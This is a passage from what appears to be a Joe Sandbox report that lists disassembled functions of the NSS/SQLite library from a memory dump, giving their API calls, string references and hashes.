Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C643FFF,?,?,?,?,6C643FFF,00000000,?,?,?,?,?,6C641A1C,00000000), ref: 6C64ADD5

Part of subcall function 6C69FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C698D2D,?,00000000,?), ref: 6C69FB85
Part of subcall function 6C69FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C69FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7694B0,?,?,?,?,?,?,?,?,6C643FFF,00000000,?), ref: 6C64ADEC

Part of subcall function 6C69B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7718D0,?), ref: 6C69B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C643FFF), ref: 6C64AE3C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 1d9905ddde8c084e98975fe30ce0e0fbaef812d38d6290d876c5d3db6b076e90
Instruction ID: 63767e362e16aec42960a2e1214e3b83273b588448a8ad24625c308459532337
Opcode Fuzzy Hash: 1d9905ddde8c084e98975fe30ce0e0fbaef812d38d6290d876c5d3db6b076e90
Instruction Fuzzy Hash: 46112971E002156BE7109B659C40FBF77E8DF9624CF04C139FC2596642FB20E95A82AA

Function 6C658FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C660710), ref: 6C658FF1
PR_CallOnce.NSS3(6C7A2158,6C659150,00000000,?,?,?,6C659138,?,6C660710), ref: 6C659029
calloc.MOZGLUE(00000001,00000000,?,?,6C660710), ref: 6C65904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C660710), ref: 6C659066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C660710), ref: 6C659078

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 4088f2ba8eb00cc3f0efe53c65c8a99c995484a0be8672b71d42ca527e1f3180
Instruction ID: 3ff509341a6d02776c9696b3ce1ca8761ced15c53a6cba59cc7dfca493ff2134
Opcode Fuzzy Hash: 4088f2ba8eb00cc3f0efe53c65c8a99c995484a0be8672b71d42ca527e1f3180
Instruction Fuzzy Hash: F91108B170011157E7201AEDAC04A6A73ACEB827ACFA00939FD49C6B50F757CD66C7A9

Function 6C66CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C681E10: TlsGetValue.KERNEL32 ref: 6C681E36
Part of subcall function 6C681E10: EnterCriticalSection.KERNEL32(?,?,?,6C65B1EE,2404110F,?,?), ref: 6C681E4B
Part of subcall function 6C681E10: PR_Unlock.NSS3 ref: 6C681E76

free.MOZGLUE(?,6C66D079,00000000,00000001), ref: 6C66CDA5
PK11_FreeSymKey.NSS3(?,6C66D079,00000000,00000001), ref: 6C66CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C66D079,00000000,00000001), ref: 6C66CDCF
DeleteCriticalSection.KERNEL32(?,6C66D079,00000000,00000001), ref: 6C66CDE2
free.MOZGLUE(?), ref: 6C66CDE9

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: fc6f14d06cc2f5f4a37fc34b1461b4d452602338dff4bca29d59470d737fb6e5
Instruction ID: ea318f38e57c3e1b932ee4360c00be380034eb0347e5623d654ff75651c82148
Opcode Fuzzy Hash: fc6f14d06cc2f5f4a37fc34b1461b4d452602338dff4bca29d59470d737fb6e5
Instruction Fuzzy Hash: E611A0B2B01515BBDF00AF66EC45996B77CFB053697100131E91A87E01E732E425C7EA

Function 6C6A3D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C6A38A2), ref: 6C6A3DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C6A38A2), ref: 6C6A3DBF

Part of subcall function 6C6A0BE0: malloc.MOZGLUE(6C698D2D,?,00000000,?), ref: 6C6A0BF8
Part of subcall function 6C6A0BE0: TlsGetValue.KERNEL32(6C698D2D,?,00000000,?), ref: 6C6A0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C6A38A2), ref: 6C6A3DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6C6A38A2), ref: 6C6A3DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6C6A38A2), ref: 6C6A3DF8

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: 57d3a2bd1b9509bd673227de7c08f00c133161b00340ca88b5591e8f64ea97d3
Instruction ID: c2e75ac95788899b7f2885a233a238e97b4a4db448b9575ec7342fa88e1fe0c8
Opcode Fuzzy Hash: 57d3a2bd1b9509bd673227de7c08f00c133161b00340ca88b5591e8f64ea97d3
Instruction Fuzzy Hash: 2D0126B57051227BFF106AB55C0AE3B3DACEB437A9B140235FD29DA680EA11CC0281F5

Function 6C6D2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6D5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6D5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6D2CEC

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6D2D02
PR_EnterMonitor.NSS3(?), ref: 6C6D2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6D2D42
PR_ExitMonitor.NSS3(?), ref: 6C6D2D5B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: d01c1ec28248adeaa6494a47fc5be1d41c9e9eb4eee876185143034a804223a8
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 9501C4F1A002046BE6309E26FC48BC7B7E1EF55318F014525E95A86B20E632FC158796

Function 6C6D2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6D5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6D5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6D2D9C

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6D2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6D2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6D2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6D2E0B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: aac78231cd5b6a8a3990c0c8dcb0c98e659b5cbc353b64605727cc50ba7429bd
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 5C01C4F1A006006FEB309E25FC09BC7B7E1EF55318F010435E95A86B11D632F825879A

Function 6C66AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C653090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C66AE42), ref: 6C6530AA
Part of subcall function 6C653090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6530C7
Part of subcall function 6C653090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6530E5
Part of subcall function 6C653090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C653116
Part of subcall function 6C653090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C65312B
Part of subcall function 6C653090: PK11_DestroyObject.NSS3(?,?), ref: 6C653154
Part of subcall function 6C653090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6499FF,?,?,?,?,?,?,?,?,?,6C642D6B,?), ref: 6C66AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6499FF,?,?,?,?,?,?,?,?,?,6C642D6B,?), ref: 6C66AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C642D6B,?,?,00000000), ref: 6C66AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C642D6B,?,?,00000000), ref: 6C66AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C642D6B,?,?), ref: 6C66AEA3

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: cc319081077ec5dbaa2a1c29b31ea504713abd59fe4e8956a1925e6b0b5297a4
Instruction ID: e5464c5f7f53afbd1cde1f8d9c140d00d0aedad35c1aaf6da25566d73a6e3fef
Opcode Fuzzy Hash: cc319081077ec5dbaa2a1c29b31ea504713abd59fe4e8956a1925e6b0b5297a4
Instruction Fuzzy Hash: C201D1A6B0013057E701916EAC81AEF31988B87A5CB080131F906C7F03F715D91A53AF

Function 6C75BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C757AFE,?,?,?,?,?,?,?,?,6C75798A), ref: 6C75BDC3
free.MOZGLUE(?,?,6C757AFE,?,?,?,?,?,?,?,?,6C75798A), ref: 6C75BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C757AFE,?,?,?,?,?,?,?,?,6C75798A), ref: 6C75BDE9
free.MOZGLUE(?,00000000,00000000,?,6C757AFE,?,?,?,?,?,?,?,?,6C75798A), ref: 6C75BE21
free.MOZGLUE(00000000,00000000,?,6C757AFE,?,?,?,?,?,?,?,?,6C75798A), ref: 6C75BE32

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 1736ed7f10c6d97dafbad328b2da1cebc1eaa694da523304a55b1fc8d92a9362
Instruction ID: 76d6d93588d9b5c1fb167721dd6b02796cf9953a48bb321b6f31855716da884c
Opcode Fuzzy Hash: 1736ed7f10c6d97dafbad328b2da1cebc1eaa694da523304a55b1fc8d92a9362
Instruction Fuzzy Hash: BF11D6B5B012009FDF40DFABE949B1B3BB9FB4A355B940079E90E87710E731A815CBA5

Function 6C6A3E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6C6A3975), ref: 6C6A3E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6C6A3975), ref: 6C6A3E38

Part of subcall function 6C6A0BE0: malloc.MOZGLUE(6C698D2D,?,00000000,?), ref: 6C6A0BF8
Part of subcall function 6C6A0BE0: TlsGetValue.KERNEL32(6C698D2D,?,00000000,?), ref: 6C6A0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6C6A3975), ref: 6C6A3E52
DeleteFileW.KERNEL32(00000000), ref: 6C6A3E5D
free.MOZGLUE(00000000), ref: 6C6A3E64

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: 05827f30acb703742774703636ea9da6d5b69d30b37f01045cd520aaf92a3ba1
Instruction ID: d6c859eb0f832fd1317ec8221c91622f71ec1142a7f96f25be59e07d2bc469d3
Opcode Fuzzy Hash: 05827f30acb703742774703636ea9da6d5b69d30b37f01045cd520aaf92a3ba1
Instruction Fuzzy Hash: 2CF089B53062023BFF1025B95C49E37355CEB43ABAF140675BF29C55C1EA40CC134275

Function 6C757C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C757C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C757C83
malloc.MOZGLUE(00000001), ref: 6C757C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C757C9F
PR_GetCurrentThread.NSS3 ref: 6C757CAD

Part of subcall function 6C709BF0: TlsGetValue.KERNEL32(?,?,?,6C750A75), ref: 6C709C07

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 19fe06c06bbd5d1977c9d60e8d67ba5b2ff11d2222be3814eac3acb028c0e306
Instruction ID: 1df25e744d3e7f5328e377d72b6df3ad1cf827458a45a5f82fbd6f8c98285ed4
Opcode Fuzzy Hash: 19fe06c06bbd5d1977c9d60e8d67ba5b2ff11d2222be3814eac3acb028c0e306
Instruction Fuzzy Hash: B0F0C2F1A202166FEB009F3A9E0D947779CEF00265B418835E809C7B00EF35E124CBE5

Function 6C75ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C75A6D8), ref: 6C75AE0D
free.MOZGLUE(?), ref: 6C75AE14
DeleteCriticalSection.KERNEL32(6C75A6D8), ref: 6C75AE36
free.MOZGLUE(?), ref: 6C75AE3D
free.MOZGLUE(00000000,00000000,?,?,6C75A6D8), ref: 6C75AE47

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: b87519498d03addf1692a92133ec46ce618787018eab59df5f12fdb2b78eaa9d
Instruction ID: fc5a634062cadde02bb78d86c69fa0e35e49b0c2668006b713fb756f7829351f
Opcode Fuzzy Hash: b87519498d03addf1692a92133ec46ce618787018eab59df5f12fdb2b78eaa9d
Instruction Fuzzy Hash: 49F09675201A01A7CE109F68D909957B77CFF86776754033CE52A83940D731E526C7D5

Function 6C5DBCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C77AAF9,?), ref: 6C5DBE37

Strings

Pul, xrefs: 6C5DBED4
ul, xrefs: 6C5DBDD7
winFileSize, xrefs: 6C5DBF07

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: ul$Pul$winFileSize
API String ID: 4246442610-3148445840
Opcode ID: cf00bba4087ef66d2efeb8d764722642dd90ab8124f2447bb407e147c887bbae
Instruction ID: 43be42bd36483e8d3e6abffe4a6519c966ed5281d0c28b4d6e71574021b8fd3b
Opcode Fuzzy Hash: cf00bba4087ef66d2efeb8d764722642dd90ab8124f2447bb407e147c887bbae
Instruction Fuzzy Hash: 01619F71A04706DBDB04EF2CC880B69B7B2FF8A314B164AA5D4158BB40DB30F956CBD9

Function 6C5E7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5E7D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E7D13, 6C5E7D1F, 6C5E7D47, 6C5E7D53, 6C5E7D5F
%s at line %d of [%.10s], xrefs: 6C5E7D2E
database corruption, xrefs: 6C5E7D29

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 8147c908a1a440bdec87c535eafd92e4114b53b44a23407dbfaf2c0875f7c138
Instruction ID: 60066d53dad0474644d6dda80330352b26326013c9d3dee6480a5b1ba05d156d
Opcode Fuzzy Hash: 8147c908a1a440bdec87c535eafd92e4114b53b44a23407dbfaf2c0875f7c138
Instruction Fuzzy Hash: BB311271E0422997C710CF9ECD809BAB7E5AF88345B5905A6E558B7B82D270D941C7B0

Function 6C5D6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5D6D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5D6D20
%s at line %d of [%.10s], xrefs: 6C5D6D2F
database corruption, xrefs: 6C5D6D2A

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
